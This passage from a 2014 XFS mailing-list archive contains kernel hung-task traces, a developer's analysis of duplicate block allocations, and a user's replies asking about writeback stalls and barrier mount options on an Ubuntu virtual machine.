xfs_inactive+0x138/0x160 [xfs] > [1552067.297562] [] xfs_fs_evict_inode+0x80/0xc0 [xfs] > [1552067.297570] [] evict+0xa3/0x1a0 > [1552067.297575] [] iput+0xf5/0x180 > [1552067.297582] [] do_unlinkat+0x18e/0x2a0 > [1552067.297590] [] ? SYSC_newfstatat+0x25/0x30 > [1552067.297596] [] SyS_unlinkat+0x1b/0x40 > [1552067.297602] [] system_call_fastpath+0x16/0x1b > [1552067.297610] XFS (dm-7): xfs_do_force_shutdown(0x8) called from line 138 of file fs/xfs/xfs_bmap_util.c. Return address = 0xffffffffa04a4b48 > [1552067.298378] XFS (dm-7): Corruption of in-memory data detected. Shutting down filesystem > [1552067.298385] XFS (dm-7): Please umount the filesystem and rectify the problem(s) This is very interesting. From your first occurrence of the problem, there are 3 groups of duplicate allocated blocks in AG14. Remove both duplicates and the XFS_WANT_CORRUPTED_GOTO is triggered. In the first group, inode 940954751 maps fsb 58817713 for a length of 1920 and most of these blocks are allocated elsewhere in small lengths. In the second group, inode 940954759 is maps fsb 58822053 for a length 39, and most of these blocks are allocated elsewhere. In the third group there are smaller (1, 2, 3, 10) blocks of overlaps. The last 2 blocks of this group are allocated to inode 941385832 and are also listed as being free in the cntbr/bnobt at the same time. To make things more interesting, there a several cases where the first inode of an inode chunk has a single block mapped and that block is a duplicate for another active inode chunk block. Example of this is inode 941083520 maps fsb 58817724, but that block is also the inode chunk for inodes starting at 941083584. The earlier found interesting duplicate is the user data block, fsb 58836692 in inode 941386494 that is also a directory block 11 in inode 940862056. The user block was written last which is now garbage for the directory. I don't know any more why we are duplicate mapping. --Mark. From info@1st-setup.nl Tue Mar 25 03:59:47 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 340627F3F for ; Tue, 25 Mar 2014 03:59:47 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 9F714AC002 for ; Tue, 25 Mar 2014 01:59:46 -0700 (PDT) X-ASG-Debug-ID: 1395737983-04cb6c56788c66c0001-NocioJ Received: from smtp1.ispfabriek.nl (smtp1.ispfabriek.nl [37.251.0.168]) by cuda.sgi.com with ESMTP id bMe9IjT5nlztR263 for ; Tue, 25 Mar 2014 01:59:43 -0700 (PDT) X-Barracuda-Envelope-From: info@1st-setup.nl X-Barracuda-Apparent-Source-IP: 37.251.0.168 Received: from localhost (unknown [10.3.1.67]) by smtp1.ispfabriek.nl (Postfix) with ESMTP id A5E4C16E95F; Tue, 25 Mar 2014 08:59:42 +0000 (UTC) X-Virus-Scanned: amavisd-new at ispfabriek.nl Received: from smtp1.ispfabriek.nl ([10.3.1.140]) by localhost (mailscan1.ispfabriek.nl [10.3.1.67]) (amavisd-new, port 10026) with ESMTP id 3YRKlkf-YTAs; Tue, 25 Mar 2014 09:59:28 +0100 (CET) Received: from mailserver.verbraak.thuis (188-142-103-130.FTTH.ispfabriek.nl [188.142.103.130]) by smtp1.ispfabriek.nl (Postfix) with ESMTP id EA16216E965; Tue, 25 Mar 2014 09:59:27 +0100 (CET) Received: from [10.242.43.6] ([10.242.43.6]) by mailserver.verbraak.thuis (8.14.7/8.14.5) with ESMTP id s2P9xeVT006348; Tue, 25 Mar 2014 10:59:40 +0100 Message-ID: <5331456E.8010201@1st-setup.nl> Date: Tue, 25 Mar 2014 09:59:26 +0100 From: "Michel Verbraak(1st-Setup)" User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: xfs blocks (blocked for more than 120 seconds) References: <532FF9DD.5080700@1st-setup.nl> <20140324173636.GD18572@destitution> X-ASG-Orig-Subj: Re: xfs blocks (blocked for more than 120 seconds) In-Reply-To: <20140324173636.GD18572@destitution> Content-Type: multipart/alternative; boundary="------------040304010601080400030508" X-Barracuda-Connect: smtp1.ispfabriek.nl[37.251.0.168] X-Barracuda-Start-Time: 1395737983 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4229 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --------------040304010601080400030508 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit op 24-03-14 18:36, Dave Chinner schreef: > On Mon, Mar 24, 2014 at 10:24:45AM +0100, Michel Verbraak(1st-Setup) wrote: >> Hi, >> >> We have a problem with one of our systems which is using XFS but we are >> unable to find the problem. Recently we had two moments, Tuesday 4th of >> March and Friday the 21st of March, where we had to reboot the system to >> get it up and running again. >> >> What happens: >> - The programs handling files on the XFS disc stop working when >> creating, deleting or writing files. They do not error they are just >> waiting on the command to complete. >> - One of our programs, a java application, goes into very high cpu usage >> (50%) which normally is at 1%. This could be something in our java >> application but it happens at the moment handling files gets stuck. >> - A nice restart of the programs does not succeed as wel a kill -9 does >> not work. >> - Trying to reboot the servers in a normal fashion does not work. As it >> is a virtual machine we have to do a shutdown (unplug power) and start >> it up again to get it up and running. > ...... >> Following details I have for you: >> >> System OS: Ubuntu 12.04 LTS >> Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 >> x86_64 x86_64 x86_64 GNU/Linux >> Server: Virtual machine in a VMWare setup. >> Disc: 300GB direct attached LUN >> >> We have an exact clone of this system for our acceptance environment. In >> this environment we are unable to reproduce this problem/situation. >> >> Differences between the two days is that our services on 2014-03-21 were >> quit busy with a lot of file changes on the xfs disc and on 2014-03-04 >> the system was very quiet on the moment the kernel traces appear and the >> services get stuck. >> >> Any help is appreciated. >> >> Regards Michel Verbraak. >> >> Following we see in the syslog on both moments (2014-03-04 and 2014-03-21): >> > .... >> Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16 D >> 0000000000000000 0 13864 2 0x00000000 >> [] schedule+0x3f/0x60 >> [] io_schedule+0x8f/0xd0 >> [] sleep_on_page+0xe/0x20 >> [] __wait_on_bit_lock+0x5a/0xc0 >> [] __lock_page+0x67/0x70 >> [] write_cache_pages+0x3d4/0x460 >> [] generic_writepages+0x4a/0x70 >> [] xfs_vm_writepages+0x4d/0x60 [xfs] >> [] do_writepages+0x21/0x40 >> [] writeback_single_inode+0x180/0x430 >> [] writeback_sb_inodes+0x1b6/0x270 >> [] __writeback_inodes_wb+0x9e/0xd0 >> [] wb_writeback+0x27b/0x330 >> [] wb_check_old_data_flush+0x9f/0xb0 >> [] wb_do_writeback+0x151/0x1d0 >> [] bdi_writeback_thread+0x83/0x2a0 >> [] kthread+0x8c/0xa0 > Writeback is blocked on a locked page, and is waiting for IO > completion. > > >> Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl D >> [] schedule+0x3f/0x60 >> [] schedule_timeout+0x2a5/0x320 >> [] __down_common+0xa5/0xf5 >> [] __down+0x1d/0x1f >> [] down+0x41/0x50 >> [] xfs_buf_lock+0x44/0x110 [xfs] >> [] _xfs_buf_find+0xd5/0x240 [xfs] >> [] xfs_buf_get+0x34/0x1c0 [xfs] >> [] xfs_buf_read+0x2d/0x120 [xfs] >> [] xfs_trans_read_buf+0x2bf/0x470 [xfs] >> [] xfs_read_agf+0x65/0x1a0 [xfs] >> [] xfs_alloc_read_agf+0x32/0x60 [xfs] >> [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] >> [] xfs_free_extent+0xa2/0x120 [xfs] >> [] xfs_bmap_finish+0x164/0x1b0 [xfs] >> [] xfs_itruncate_extents+0xdb/0x1e0 [xfs] >> [] xfs_itruncate_data+0x66/0x150 [xfs] >> [] xfs_inactive+0x2fe/0x460 [xfs] >> [] xfs_fs_evict_inode+0xad/0x110 [xfs] >> [] evict+0xb8/0x1c0 >> [] iput_final+0xe8/0x210 >> [] iput+0x3e/0x50 >> [] do_unlinkat+0x153/0x1d0 >> [] sys_unlink+0x16/0x20 >> [] system_call_fastpath+0x16/0x1b > 120s later, unlinking a file, blocked waiting on an AGF lock. > >> Mar 21 06:34:20 ealxs00169 kernel: [1412400.891686] flush-8:16 D > writeback again, 120s later. > >> Mar 21 06:36:20 ealxs00169 kernel: [1412520.861471] java D >> [] schedule_timeout+0x2a5/0x320 >> [] __down_common+0xa5/0xf5 >> [] __down+0x1d/0x1f >> [] down+0x41/0x50 >> [] xfs_buf_lock+0x44/0x110 [xfs] >> [] _xfs_buf_find+0xd5/0x240 [xfs] >> [] xfs_buf_get+0x34/0x1c0 [xfs] >> [] xfs_buf_read+0x2d/0x120 [xfs] >> [] xfs_trans_read_buf+0x2bf/0x470 [xfs] >> [] xfs_read_agf+0x65/0x1a0 [xfs] >> [] xfs_alloc_read_agf+0x32/0x60 [xfs] >> [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] >> [] xfs_alloc_vextent+0x1cb/0x690 [xfs] >> [] xfs_bmap_btalloc+0x2b1/0x770 [xfs] >> [] xfs_bmap_alloc+0x24/0x40 [xfs] >> [] xfs_bmapi_allocate+0xce/0x2d0 [xfs] >> [] xfs_bmapi_write+0x4c3/0x720 [xfs] >> [] xfs_iomap_write_allocate+0x178/0x330 [xfs] >> [] xfs_map_blocks+0x183/0x250 [xfs] >> [] xfs_vm_writepage+0x196/0x510 [xfs] >> [] __writepage+0x17/0x40 >> [] write_cache_pages+0x20d/0x460 >> [] generic_writepages+0x4a/0x70 >> [] xfs_vm_writepages+0x4d/0x60 [xfs] >> [] do_writepages+0x21/0x40 >> [] __filemap_fdatawrite_range+0x5b/0x60 >> [] filemap_write_and_wait_range+0x52/0x80 >> [] xfs_file_fsync+0x5d/0x300 [xfs] >> [] do_fsync+0x56/0x80 >> [] sys_fsync+0x10/0x20 >> [] system_call_fastpath+0x16/0x1b > 120s later, fsync() blocks and AGF lock trying to do allocation. > >> Mar 21 06:36:20 ealxs00169 kernel: [1412520.862112] archiver.pl D >> [] schedule+0x3f/0x60 >> [] schedule_timeout+0x2a5/0x320 >> [] __down_common+0xa5/0xf5 >> [] __down+0x1d/0x1f >> [] down+0x41/0x50 >> [] xfs_buf_lock+0x44/0x110 [xfs] >> [] _xfs_buf_find+0xd5/0x240 [xfs] >> [] xfs_buf_get+0x34/0x1c0 [xfs] >> [] xfs_buf_read+0x2d/0x120 [xfs] >> [] xfs_trans_read_buf+0x2bf/0x470 [xfs] >> [] xfs_read_agf+0x65/0x1a0 [xfs] >> [] xfs_alloc_read_agf+0x32/0x60 [xfs] >> [] xfs_alloc_fix_freelist+0x42f/0x490 [xfs] >> [] xfs_free_extent+0xa2/0x120 [xfs] >> [] xfs_bmap_finish+0x164/0x1b0 [xfs] >> [] xfs_itruncate_extents+0xdb/0x1e0 [xfs] >> [] xfs_itruncate_data+0x66/0x150 [xfs] >> [] xfs_inactive+0x2fe/0x460 [xfs] >> [] xfs_fs_evict_inode+0xad/0x110 [xfs] >> [] evict+0xb8/0x1c0 >> [] iput_final+0xe8/0x210 >> [] iput+0x3e/0x50 >> [] do_unlinkat+0x153/0x1d0 >> [] sys_unlink+0x16/0x20 >> [] system_call_fastpath+0x16/0x1b > Still blocked on AGF in unlink. > > >> Mar 21 06:38:20 ealxs00169 kernel: [1412640.821037] java D >> [] schedule+0x3f/0x60 >> [] __mutex_lock_slowpath+0xd7/0x150 >> [] mutex_lock+0x2a/0x50 >> [] do_unlinkat+0x8e/0x1d0 >> [] sys_unlink+0x16/0x20 >> [] system_call_fastpath+0x16/0x1b > 120s later, unlink blocked on a directory mutex. > > (others stuck on AGF lock). > >> From this moment on the services are not working anymore. Complete stuck. > Yup, everything is stuck waiting for writeback to complete. > > can you reproduce this? does the IO subsystem go idle when this > occurs? or is it running flat out? We are not yet able to reproduce. But your added explanation might help us in reproducing. The production environment is very dynamic in when clients connect to the service and what kind of requests they do. The colleague handling the incident tried to get some info but because he was alarmed quit late he decided for the reboot instead to get our production qorking again. For the next time we are preparing some scripts to gather information which might tell more. If you have any suggestions on commands we can run when it happens again please let me know? Currently we are configuring kdump as suggested by Mark and some other queries against our own software. > Cheers, > > Dave. Some extra info: this system has been running for about 1 year without any problems. During this time it was never rebooted or restarted until the issue on the 4th. Only change could be in the usage of java service running on it by external clients. We are looking into this. Thank you for looking into it. Michel. --------------040304010601080400030508 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
op 24-03-14 18:36, Dave Chinner schreef:
On Mon, Mar 24, 2014 at 10:24:45AM +0100, Michel Verbraak(1st-Setup) wrote:
Hi,

We have a problem with one of our systems which is using XFS but we are
unable to find the problem. Recently we had two moments, Tuesday 4th of
March and Friday the 21st of March, where we had to reboot the system to
get it up and running again.

What happens:
- The programs handling files on the XFS disc stop working when
creating, deleting or writing files. They do not error they are just
waiting on the command to complete.
- One of our programs, a java application, goes into very high cpu usage
(50%) which normally is at 1%. This could be something in our java
application but it happens at the moment handling files gets stuck.
- A nice restart of the programs does not succeed as wel a kill -9 does
not work.
- Trying to reboot the servers in a normal fashion does not work. As it
is a virtual machine we have to do a shutdown (unplug power) and start
it up again to get it up and running.
......
Following details I have for you:

System OS: Ubuntu 12.04 LTS
Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013
x86_64 x86_64 x86_64 GNU/Linux
Server: Virtual machine in a VMWare setup.
Disc: 300GB direct attached LUN

We have an exact clone of this system for our acceptance environment. In
this environment we are unable to reproduce this problem/situation.

Differences between the two days is that our services on 2014-03-21 were
quit busy with a lot of file changes on the xfs disc and on 2014-03-04
the system was very quiet on the moment the kernel traces appear and the
services get stuck.

Any help is appreciated.

Regards Michel Verbraak.

Following we see in the syslog on both moments (2014-03-04 and 2014-03-21):

....
Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16      D
0000000000000000     0 13864      2 0x00000000
[<ffffffff8165b34f>] schedule+0x3f/0x60
[<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
[<ffffffff8111836e>] sleep_on_page+0xe/0x20
[<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
[<ffffffff81118357>] __lock_page+0x67/0x70
[<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
[<ffffffff81122caa>] generic_writepages+0x4a/0x70
[<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
[<ffffffff81123b71>] do_writepages+0x21/0x40
[<ffffffff811a2990>] writeback_single_inode+0x180/0x430
[<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
[<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
[<ffffffff811a345b>] wb_writeback+0x27b/0x330
[<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
[<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
[<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
[<ffffffff8108b27c>] kthread+0x8c/0xa0
Writeback is blocked on a locked page, and is waiting for IO
completion.


Mar 21 06:34:20 ealxs00169 kernel: [1412400.891181] archiver.pl     D
[<ffffffff8165b34f>] schedule+0x3f/0x60
[<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
[<ffffffff8165c5f0>] __down_common+0xa5/0xf5
[<ffffffff8165c6b3>] __down+0x1d/0x1f
[<ffffffff810912e1>] down+0x41/0x50
[<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
[<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
[<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
[<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
[<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
[<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
[<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
[<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
[<ffffffffa0096802>] xfs_free_extent+0xa2/0x120 [xfs]
[<ffffffffa00a6e14>] xfs_bmap_finish+0x164/0x1b0 [xfs]
[<ffffffffa00c143b>] xfs_itruncate_extents+0xdb/0x1e0 [xfs]
[<ffffffffa00c15a6>] xfs_itruncate_data+0x66/0x150 [xfs]
[<ffffffffa009056e>] xfs_inactive+0x2fe/0x460 [xfs]
[<ffffffffa008afad>] xfs_fs_evict_inode+0xad/0x110 [xfs]
[<ffffffff81193e98>] evict+0xb8/0x1c0
[<ffffffff81194088>] iput_final+0xe8/0x210
[<ffffffff811941ee>] iput+0x3e/0x50
[<ffffffff81188be3>] do_unlinkat+0x153/0x1d0
[<ffffffff811897b6>] sys_unlink+0x16/0x20
[<ffffffff81665842>] system_call_fastpath+0x16/0x1b
120s later, unlinking a file, blocked waiting on an AGF lock.

Mar 21 06:34:20 ealxs00169 kernel: [1412400.891686] flush-8:16      D
writeback again, 120s later.

Mar 21 06:36:20 ealxs00169 kernel: [1412520.861471] java            D
[<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
[<ffffffff8165c5f0>] __down_common+0xa5/0xf5
[<ffffffff8165c6b3>] __down+0x1d/0x1f
[<ffffffff810912e1>] down+0x41/0x50
[<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
[<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
[<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
[<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
[<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
[<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
[<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
[<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
[<ffffffffa0096a4b>] xfs_alloc_vextent+0x1cb/0x690 [xfs]
[<ffffffffa00a02c1>] xfs_bmap_btalloc+0x2b1/0x770 [xfs]
[<ffffffffa00a07a4>] xfs_bmap_alloc+0x24/0x40 [xfs]
[<ffffffffa00a594e>] xfs_bmapi_allocate+0xce/0x2d0 [xfs]
[<ffffffffa00a85c3>] xfs_bmapi_write+0x4c3/0x720 [xfs]
[<ffffffffa0086988>] xfs_iomap_write_allocate+0x178/0x330 [xfs]
[<ffffffffa00799c3>] xfs_map_blocks+0x183/0x250 [xfs]
[<ffffffffa007aa56>] xfs_vm_writepage+0x196/0x510 [xfs]
[<ffffffff81122217>] __writepage+0x17/0x40
[<ffffffff81122a0d>] write_cache_pages+0x20d/0x460
[<ffffffff81122caa>] generic_writepages+0x4a/0x70
[<ffffffffa007980d>] xfs_vm_writepages+0x4d/0x60 [xfs]
[<ffffffff81123b71>] do_writepages+0x21/0x40
[<ffffffff81119f2b>] __filemap_fdatawrite_range+0x5b/0x60
[<ffffffff81119f82>] filemap_write_and_wait_range+0x52/0x80
[<ffffffffa007f05d>] xfs_file_fsync+0x5d/0x300 [xfs]
[<ffffffff811a7eb6>] do_fsync+0x56/0x80
[<ffffffff811a81e0>] sys_fsync+0x10/0x20
[<ffffffff81665842>] system_call_fastpath+0x16/0x1b
120s later, fsync() blocks and AGF lock trying to do allocation.

Mar 21 06:36:20 ealxs00169 kernel: [1412520.862112] archiver.pl     D
[<ffffffff8165b34f>] schedule+0x3f/0x60
[<ffffffff8165b995>] schedule_timeout+0x2a5/0x320
[<ffffffff8165c5f0>] __down_common+0xa5/0xf5
[<ffffffff8165c6b3>] __down+0x1d/0x1f
[<ffffffff810912e1>] down+0x41/0x50
[<ffffffffa007c0f4>] xfs_buf_lock+0x44/0x110 [xfs]
[<ffffffffa007c295>] _xfs_buf_find+0xd5/0x240 [xfs]
[<ffffffffa007c684>] xfs_buf_get+0x34/0x1c0 [xfs]
[<ffffffffa007cf2d>] xfs_buf_read+0x2d/0x120 [xfs]
[<ffffffffa00d89ff>] xfs_trans_read_buf+0x2bf/0x470 [xfs]
[<ffffffffa0094775>] xfs_read_agf+0x65/0x1a0 [xfs]
[<ffffffffa00948e2>] xfs_alloc_read_agf+0x32/0x60 [xfs]
[<ffffffffa00966ff>] xfs_alloc_fix_freelist+0x42f/0x490 [xfs]
[<ffffffffa0096802>] xfs_free_extent+0xa2/0x120 [xfs]
[<ffffffffa00a6e14>] xfs_bmap_finish+0x164/0x1b0 [xfs]
[<ffffffffa00c143b>] xfs_itruncate_extents+0xdb/0x1e0 [xfs]
[<ffffffffa00c15a6>] xfs_itruncate_data+0x66/0x150 [xfs]
[<ffffffffa009056e>] xfs_inactive+0x2fe/0x460 [xfs]
[<ffffffffa008afad>] xfs_fs_evict_inode+0xad/0x110 [xfs]
[<ffffffff81193e98>] evict+0xb8/0x1c0
[<ffffffff81194088>] iput_final+0xe8/0x210
[<ffffffff811941ee>] iput+0x3e/0x50
[<ffffffff81188be3>] do_unlinkat+0x153/0x1d0
[<ffffffff811897b6>] sys_unlink+0x16/0x20
[<ffffffff81665842>] system_call_fastpath+0x16/0x1b
Still blocked on AGF in unlink.


Mar 21 06:38:20 ealxs00169 kernel: [1412640.821037] java            D
[<ffffffff8165b34f>] schedule+0x3f/0x60
[<ffffffff8165c157>] __mutex_lock_slowpath+0xd7/0x150
[<ffffffff8165bd6a>] mutex_lock+0x2a/0x50
[<ffffffff81188b1e>] do_unlinkat+0x8e/0x1d0
[<ffffffff811897b6>] sys_unlink+0x16/0x20
[<ffffffff81665842>] system_call_fastpath+0x16/0x1b
120s later, unlink blocked on a directory mutex.

(others stuck on AGF lock).

From this moment on the services are not working anymore. Complete stuck.
Yup, everything is stuck waiting for writeback to complete.

can you reproduce this? does the IO subsystem go idle when this
occurs? or is it running flat out?
We are not yet able to reproduce. But your added explanation might help us in reproducing. The production environment is very dynamic in when clients connect to the service and what kind of requests they do.

The colleague handling the incident tried to get some info but because he was alarmed quit late he decided for the reboot instead to get our production qorking again. For the next time we are preparing some scripts to gather information which might tell more.
If you have any suggestions on commands we can run when it happens again please let me know? Currently we are configuring kdump as suggested by Mark and some other queries against our own software.
Cheers,

Dave.
Some extra info: this system has been running for about 1 year without any problems. During this time it was never rebooted or restarted until the issue on the 4th. Only change could be in the usage of java service running on it by external clients. We are looking into this.

Thank you for looking into it.

Michel.
--------------040304010601080400030508-- From info@1st-setup.nl Tue Mar 25 04:40:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A9EBA7F4E for ; Tue, 25 Mar 2014 04:40:15 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 89DDB304059 for ; Tue, 25 Mar 2014 02:40:12 -0700 (PDT) X-ASG-Debug-ID: 1395740410-04cb6c56778c9900001-NocioJ Received: from smtp2.ispfabriek.nl (smtp2.ispfabriek.nl [37.251.0.169]) by cuda.sgi.com with ESMTP id sgvuqQIqCokPm2pP for ; Tue, 25 Mar 2014 02:40:10 -0700 (PDT) X-Barracuda-Envelope-From: info@1st-setup.nl X-Barracuda-Apparent-Source-IP: 37.251.0.169 Received: from localhost (unknown [10.3.1.68]) by smtp2.ispfabriek.nl (Postfix) with ESMTP id DBE6D13F175; Tue, 25 Mar 2014 09:40:09 +0000 (UTC) X-Virus-Scanned: amavisd-new at ispfabriek.nl Received: from smtp2.ispfabriek.nl ([10.3.1.141]) by localhost (mailscan2.ispfabriek.nl [10.3.1.68]) (amavisd-new, port 10026) with ESMTP id K27JrtZBNzW5; Tue, 25 Mar 2014 10:39:57 +0100 (CET) Received: from mailserver.verbraak.thuis (188-142-103-130.FTTH.ispfabriek.nl [188.142.103.130]) by smtp2.ispfabriek.nl (Postfix) with ESMTP id E022513F0EB; Tue, 25 Mar 2014 10:39:57 +0100 (CET) Received: from [10.242.43.6] ([10.242.43.6]) by mailserver.verbraak.thuis (8.14.7/8.14.5) with ESMTP id s2PAeBhA006416; Tue, 25 Mar 2014 11:40:11 +0100 Message-ID: <53314EED.2000004@1st-setup.nl> Date: Tue, 25 Mar 2014 10:39:57 +0100 From: "Michel Verbraak(1st-Setup)" User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: xfs blocks (blocked for more than 120 seconds) References: <532FF9DD.5080700@1st-setup.nl> <20140324173636.GD18572@destitution> X-ASG-Orig-Subj: Re: xfs blocks (blocked for more than 120 seconds) In-Reply-To: <20140324173636.GD18572@destitution> Content-Type: multipart/alternative; boundary="------------000709050504020909030804" X-Barracuda-Connect: smtp2.ispfabriek.nl[37.251.0.169] X-Barracuda-Start-Time: 1395740410 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4230 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --------------000709050504020909030804 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit op 24-03-14 18:36, Dave Chinner schreef: > On Mon, Mar 24, 2014 at 10:24:45AM +0100, Michel Verbraak(1st-Setup) wrote: >> Hi, >> >> We have a problem with one of our systems which is using XFS but we are >> unable to find the problem. Recently we had two moments, Tuesday 4th of >> March and Friday the 21st of March, where we had to reboot the system to >> get it up and running again. >> >> What happens: >> - The programs handling files on the XFS disc stop working when >> creating, deleting or writing files. They do not error they are just >> waiting on the command to complete. >> - One of our programs, a java application, goes into very high cpu usage >> (50%) which normally is at 1%. This could be something in our java >> application but it happens at the moment handling files gets stuck. >> - A nice restart of the programs does not succeed as wel a kill -9 does >> not work. >> - Trying to reboot the servers in a normal fashion does not work. As it >> is a virtual machine we have to do a shutdown (unplug power) and start >> it up again to get it up and running. > ...... >> Following details I have for you: >> >> System OS: Ubuntu 12.04 LTS >> Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 >> x86_64 x86_64 x86_64 GNU/Linux >> Server: Virtual machine in a VMWare setup. >> Disc: 300GB direct attached LUN >> >> We have an exact clone of this system for our acceptance environment. In >> this environment we are unable to reproduce this problem/situation. >> >> Differences between the two days is that our services on 2014-03-21 were >> quit busy with a lot of file changes on the xfs disc and on 2014-03-04 >> the system was very quiet on the moment the kernel traces appear and the >> services get stuck. >> >> Any help is appreciated. >> >> Regards Michel Verbraak. >> >> Following we see in the syslog on both moments (2014-03-04 and 2014-03-21): >> > .... >> Mar 21 06:32:20 ealxs00169 kernel: [1412280.930543] flush-8:16 D >> 0000000000000000 0 13864 2 0x00000000 >> [] schedule+0x3f/0x60 >> [] io_schedule+0x8f/0xd0 >> [] sleep_on_page+0xe/0x20 >> [] __wait_on_bit_lock+0x5a/0xc0 >> [] __lock_page+0x67/0x70 >> [] write_cache_pages+0x3d4/0x460 >> [] generic_writepages+0x4a/0x70 >> [] xfs_vm_writepages+0x4d/0x60 [xfs] >> [] do_writepages+0x21/0x40 >> [] writeback_single_inode+0x180/0x430 >> [] writeback_sb_inodes+0x1b6/0x270 >> [] __writeback_inodes_wb+0x9e/0xd0 >> [] wb_writeback+0x27b/0x330 >> [] wb_check_old_data_flush+0x9f/0xb0 >> [] wb_do_writeback+0x151/0x1d0 >> [] bdi_writeback_thread+0x83/0x2a0 >> [] kthread+0x8c/0xa0 > Writeback is blocked on a locked page, and is waiting for IO > completion. We currently have the following options in fstab for the filesystem: defaults,noatime,inode64,barrier=no Now I read everywhere to turn of barrier you should specify "nobarrier". Is our way of disabling wrong? The disc used has "write cache" disabled: [ 2.875792] sd 3:0:0:0: Attached scsi generic sg2 type 0 [ 2.876376] sd 3:0:0:0: [sdb] 629145600 512-byte logical blocks: (322 GB/300 GiB) [ 2.876879] sd 3:0:0:0: [sdb] Write Protect is off [ 2.877050] sd 3:0:0:0: [sdb] Mode Sense: 87 00 00 08 [ 2.877890] sd 3:0:0:0: [sdb] Write cache: disabled, read cache: enabled, doesn't support DPO or FUA [ 2.885634] sdb: unknown partition table ... [ 5.132308] SGI XFS with ACLs, security attributes, realtime, large block/inode numbers, no debug enabled [ 5.155268] SGI XFS Quota Management subsystem [ 5.159345] XFS (sdb): Mounting Filesystem .. Following is output of xfs_info on sdb: meta-data=/dev/sdb isize=256 agcount=4, 